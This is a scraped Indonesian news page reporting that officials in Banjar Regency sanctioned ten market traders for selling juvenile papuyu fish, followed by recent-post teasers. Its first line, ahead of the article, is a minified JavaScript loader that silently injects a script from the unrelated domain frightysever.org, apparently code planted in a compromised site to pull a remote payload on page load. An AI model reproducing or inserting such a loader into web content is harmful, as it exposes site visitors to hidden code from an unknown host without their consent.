(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Jual Anakan Ikan 10 Pedagang Disanksi, DKKP Banjar dan Tim Lakukan Sidak


KANALKALIMANTAN.COM, MARTAPURA – Dinas Ketahanan Pangan dan Perikanan (DKPP)  Kabupaten Banjar bersama Dinas Kelautan dan Perikanan (DKP) Provinsi Kalimantan Selatan, Perumda Pasar Bauntung Batuah (PBB) dan Satpol PP melakukan kegiatan pengawasan dan sidak kepada para pedagang anakan ikan di pasar tradisional Sekumpul dan Pasar Martapura, Kamis (18/1/2024) pagi.

Ini dilakukan sehubungan adanya laporan dari masyarakat tentang maraknya penjualan anakan ikan papuyu atau betok.

Dalam kegiatan itu ada 10 pedagang yang terjaring. Petugas melakukan pembinaan dengan sanksi administratif  kepada pedagang.

Baca juga: Laka Maut U Turn A Yani Km 29 Guntung Payung, Fortuner Dikemudikan Remaja 16 Tahun

“Jika sudah tiga kali ada teguran tetapi masih diindahkan selanjutnya akan kami adakan sanksi pidana, diharapkan ada efek jera bahwa menangkap anakan ikan dilarang oleh pemerintah,” ungkap Kasi Penanganan Pelanggaran dan Penegakkan Hukum DKP Provinsi Kalsel Singgih Honggo Seputro.

Kepala DKPP Kabupaten Banjar Sipliansyah Hartani melalui Kepala Bidang Pengembangan dan Pengawasan Usaha Perikanan Hery Suherman menjelaskan, sidak yang dilakukan sebagai tindak lanjut dari penegakan Perda Nomor 7 Tahun 2005.

Baca juga: Proyek 2023 Tak Kunjung Dibayar Pemko Banjarmasin, Balai Kota Didemo

“Ini upaya kita menjaga kelestarian alam dibidang perikanan, kalau tidak dilakukan apa jadinya nanti, dalam hal ini kita melakukan tindakan persuasif, kami menyarankan agar tidak melakukan penjualan anakan ikan lagi. Apabila tidak diindahkan, maka kami lakukan tindakan, sementara ini mereka menerima apa yang kami sarankan,” jelas Hery.

Sementara Kabag Humas Perumda PBB Gusti Andreansyah mengatakan, pihaknya sangat mendukung sidak tersebut karena anakan ikan harus dijaga dan dilestarikan.

Baca juga: TP PKK Kapuas-Dinsos Kapuas Serahkan Bantuan Bagi Lansia, Ibu Hamil, dan Balita

“Tidak hanya penjual yang kita berikan sosialisasi  tetapi dari pengepul anakan ikan juga harus diberikan arahan, dari hulu dulu baru ke hilir, intinya Perumda PBB sangat mendukung kegiatan seperti ini,” ucap Gusti Andre.

Kegiatan pengawasan dan pembinaan serupa akan kembali dilaksanakan di pasar-pasar yang ada di Kabupaten Banjar. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

5 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

8 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

10 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

12 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

12 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

14 jam ago

This website uses cookies.